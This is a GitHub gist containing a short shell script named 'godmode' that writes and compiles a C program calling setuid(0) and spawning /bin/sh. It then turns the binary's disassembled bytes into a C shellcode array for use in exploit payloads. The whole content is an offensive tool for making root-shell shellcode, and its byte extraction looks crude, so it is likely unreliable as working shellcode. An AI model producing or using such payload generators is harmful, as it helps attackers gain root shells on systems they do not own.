Last active
January 23, 2017 01:42
-
-
Save oxagast/4afa578d158ca1c48eaad2110fa76078 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### godmode by oxagast ### | |
echo '#include <unistd.h>' > sc.c; | |
echo 'int main(void) {setuid(0);execlp("/bin/sh", "sh", NULL);}' >> sc.c; | |
gcc sc.c -o godmode; | |
SHELLCODE=$(objdump --show-raw-insn -d godmode | grep -v "file format" | cut -f 2 -d ':' | cut -c -21 | cut -c 2- | sed -e 's/ /\n/g' | grep -v "^$" | sed -e 's/^/\\x/' | tr -d "\n") | |
echo -n "char shellcode[] = " | |
echo $SHELLCODE | sed -e 's/\(.\{60\}\)/\1\n/' | head -n 1 > s.tmp; echo $SHELLCODE | sed -e 's/^\n//' | sed -e 's/\(.\{80\}\)/\1\n/g' | sed -e 's/.*\"/ \"/' >> s.tmp; cat s.tmp | sed -e 's/^\\/"\\/' -e 's/$/\"/' | head -c -1 | |
echo ";"; | |
rm sc.c godmode; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment